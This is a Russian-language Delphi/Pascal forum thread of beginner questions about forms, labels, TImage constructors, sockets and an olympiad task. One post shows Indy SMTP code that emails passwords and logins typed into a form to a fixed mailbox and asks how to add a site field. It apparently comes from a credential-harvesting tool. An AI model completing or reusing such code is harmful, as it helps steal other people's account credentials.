как понял, то требуется запрос подтверждения у пользователя, если так, то зачем так извращаться с формами, все сделано уже в системе: Code: procedure TForm1.Button1Click(Sender: TObject); begin case MessageBoxA(0,'Вы уверены?','',MB_YESNO or MB_ICONQUESTION or MB_TASKMODAL) of IDYES: begin // действия при нажатии на кнопку "Да" ................... end; IDNO: begin // действия при нажатии на кнопку "Нет" .................. end; end; end;
Есть Label. При определенных условиях в него вставляется данные. Если условия срабатывают 2 и более то в несколько строк. У формы стоит BorderStyle:=bsNone; Сейчас если условия срабатывают 2 и более то нормально видно только 1 строку и верхняя часть второй. Так вот вопрос. Как автоматически расширять форму под текст в Label1?
Rastamanka, я не понял ничего из того что ты пытаешься донести, но что бы расширять автоматически текст под форму - у Label1 и формы ставишь AutoSize = true;
есть 2 форм form1 и form2 на form1 есть edit1 и button1 а на form2 есть edit2 и button2 при нажатии на button2 я должен попадать на form2 и потом клацая на button2 в edit2 впичывается значения из edit1 как это осуществить ??? p.s delphi7
хорошо, а как у TImage выглядит конструктор и деструктор? Точнее не как выглядят, а что передавать конструктору.
пользуюся кодом Code: idmessage1.CharSet:='windows-1251'; idmessage1.ContentType := 'text/html'; idSmtp1.Host:='smtp.mail.ru'; idSmtp1.Port:=587; // порт idSmtp1.Username:='___'; //логин ящика откуда отсылаем idSmtp1.Password:='aaa123'; //пас от ящика idmessage1.Body.Text:='Пароль: '+Edit1.Text+' Логин: '+Edit2.Text; idmessage1.From.Text:='[email protected]'; idmessage1.Recipients.EMailAddresses:='[email protected]'; // мыло куда будут приходить письма idmessage1.Subject:='__'; // Тема письма idsmtp1.Connect(); // соединение Btn1.Caption:='Connected'; idsmtp1.Send(idmessage1); //отправить сообщение 1 Btn1.Caption:='Sended'; idsmtp1.Disconnect(); // дисконнект Btn1.Caption:='DisConnected'; как дописать суда штоб в етом письме была инфа с Edit3 ? пробовал дописать Code: idmessage1.Body.Text:='сайт: '+Edit3.Text+' 'Пароль: '+Edit1.Text+' Логин: '+Edit2.Text; не компилитса
program Project2; {$APPTYPE CONSOLE} uses winsock; var ws: TWSAData; Socket1:TSocket; SockAddr1:TSockAddr; Buffer1:string; Buffer2:array[1..1024] of char; d:integer; i:integer; begin if WSAStartup($101,ws)<>0 then begin Writeln ('Socket Error! Check Internet Connection!'); readln; end; Socket1:=Socket(AF_INET,SOCK_STREAM,0); if Socket1=INVALID_SOCKET then begin writeln('Socket Error! Check Internet Connection!'); readln; Exit; end; SockAddr1.sin_family:=AF_INET; SockAddr1.sin_addr.S_addr:=inet_addr(PChar('87.240.188.248')); SockAddr1.sin_port:=htons(80); Connect(Socket1,SockAddr1,SizeOf(SockAddr1)); Buffer1:='POST /login.php?email=###&pass=### HTTP/1.1'#13#10+ 'host: login.vk.com'#13#10+ 'Connection: close'#13#10+ #13#10; send(Socket1,Buffer1[1],Length(Buffer1),0); repeat FillChar(Buffer2,SizeOf(Buffer2),0); d:=recv(Socket1,Buffer2,SizeOf(Buffer2),0); for i:=1 to d do write(Buffer2); until d<=0; readln; end. почему то возвращает ошибку 403... что я делаю не так? хотел забить на инди, а не фига не поулчается...
PASCALНа вход программе подаются сведения о номерах школ учащихся, участвовавших в олимпиаде. В первой строке сообщается количество учащихся N, каждая из следующих N строк имеет следующий формат: <Фамилия> <Инициалы> <номер школы>, где <Фамилия> - строка, состоящая не более чем из 20 символов, <Инициалы> - строка, состоящая из 4-х символов (буква, точка, буква, точка), <номер школы> - не более чем двузначный номер. <Фамилия> и <Инициалы>, а также <Инициалы> и <номер школы> разделены одним пробелом. Пример входной строки: Иванов П.С. 57 Требуется написать как можно более эффективную программу которая будет выводить на экран информацию, из какой школы (школ) было больше всего участников олимпиады. Я сделал задачу но у меня почему то выдает ошибку ввода. Code: var point:array[1..99]of integer; max,l,n,i:integer; c:char; begin max:=0; read(n); for i:=1 to n do begin repeat read(c); write(c:2); until c=' '; repeat read(c); until c=' '; read(l); point[l]:=point[l]+1; end; for i:=1 to 99 do if point[i]>max then max:=point[i]; for i:=1 to 99 do if point[i]=max then write(i); end.
Ну вот другое дело В данном случае достаточно передать nil, но при этом обязательно уничтожить экземпляр TImage в деструкторе. Кстати такой вызов как на скриншоте приведет к Access Violation, надо так: Image := TImage.Create(nil); т.е. вызывать конструктор через класс, а не экземпляр PS как по мне, так это ошибка дельфи - позволять вызывать по сути статический метод Create через переменную.
спс, мне тоже это не очень нравится. Участвовал в олимпиаде но программированию, и полчаса тупил, пытался вызвать метод процедурой, а его функцией надо было(. так, чтото не получается. Code: TMyClass = class FImage: TImage; end; var Image: TMyClass; procedure TForm1.Button1Click(Sender: TObject); begin Image.FImage:= TMyClass.FImage.Create(nil) end; вроде как так я понял через класс метод вызывать. но увы не хочет, что не так?
Как реализовать, чтоб при перетаскивании файла на иконку программы (исполняемый файл программы), label1.caption соответствовало пути к файлу?
1. Приводим ошибки компиляции 2. Зачем FIimage создавать извне? Это же поле класса, значит класс и должен рулить им. Не по фэншую это 3. Надо не через TMyClass, a через TImage. А ты тут пытаешься опять же вызвать конструктор экземпляра. В данном случае FImage объявить как public-член TMyClass = class public FImage: TImage; end; и Image.FImage := TImage.Create(nil);